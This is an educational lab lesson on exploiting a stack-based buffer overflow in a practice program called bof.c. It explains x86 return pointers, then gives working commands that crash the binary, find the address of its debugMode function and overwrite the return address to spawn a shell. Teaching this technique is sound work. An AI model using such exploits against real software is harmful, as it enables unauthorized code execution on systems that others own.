

01 - Stack Based Buffer Overflow

Summary: In this lesson, we will be exploiting a stack based buffer overflow. By overflow the saved return pointer of the previous calling function, we will be able to redirect program flow to a function we would not normally have access to, which in this case gives us a shell

Theory

In x86, there are three standard calling conventions that are used when functions call each other in programs: stdcall, cdecl, and fastcall. In all three cases, a **return pointer** is placed onto the stack. The **return pointer** is the address of the next instruction to be ran when the function returns.

ESP --->	FUNC B STACK FRAME
	USED TO STORE LOCAL
	VARIABLES IN THE SCOPE OF
	FUNC B
EBP --->	FUNC A EBP
EBP+0x4	FUNC A RETURN POINTER
+0x8	ARGUMENT 0
+0xC	ARGUMENT 1

In the above example, we have a complete stack frame for the function **FUNC B**, which has been called by function **FUNC A**. This program is using the stdcall convention where **FUNC A** pushes the arguments to **FUNC B** on to the stack, and then calls **FUNC B**. When the call is made, **FUNC A** places a pointer to the next instruction to be ran on the stack. **FUNC B** takes over and sets up a local stack frame for its variables, noted in green.

If there is any memory corruption that escapes the stack frame of **FUNC B**, it can overflow the stack frame and overwrite the return pointer from **FUNC A** on the stack, leading to arbitrary code execution.

Application

Read the source code for *bof.c*. The function `scanf` takes a format string to indicate what type of data is being read from the user. The “%s” format string specifies that a string should be taken, however it doesn’t specify the length. Therefore, the implementation of `scanf` in both cases in the `doLogin` function will lead to a stack based buffer overflow.

<i>ESP</i> --->	PASS
	...
	USER
	...
<i>EBP</i> --->	MAIN EBP
EBP+0x4	MAIN RETURN POINTER
+0x8	...
+0xC	...

Enter the following command: **python -c “print ‘A’*200” | ./bof**

As a result, you should get a message “Segmentation Fault”. Examine the results of this SEGFAULT, type the command: **dmesg | tail -n 1**

The result of the above command should be something similar to below.

[24311.675682] bof[28357]: segfault at 41414141 ip 0000000041414141 sp 00000000ffb13a30 error 14

The message says the following:

- bof : the process name
- [28357] : the Process ID (or PID)
- segfault at 41414141 : the address being read/written that caused the error
- ip 0000000041414141 : the instruction pointer at the time of the error
- sp 00000000ffb13a30 : the value of ESP at the time of the error
- error 14 : the type of SEGFAULT created

You know what's magical about 0x41414141? ITS THE INTEGER VALUE OF THE STRING "AAAA", which means you overflowed the return pointer on the stack and caused to program to try to execute a new instruction pointer.

The reason the program crashed is that there is no virtual memory at the address 0x41414141, so the kernel had to kill the process.

Now, time to change this address to a one we care about. There was another function that seemed pretty odd, called **debugMode**. This function gives us a shell, lets go there.

To find the address of **debugMode**, run the command: **objdump -d -Intel ./bof | grep debug**

08048566 <debugMode>

Finally, we want to set the value of EIP to this address. Do that by running the following command: **(python -c "print 'A'*76 + '\x66\x85\x04\x08'" && cat) | ./bof**

TADA! Enjoy your shell.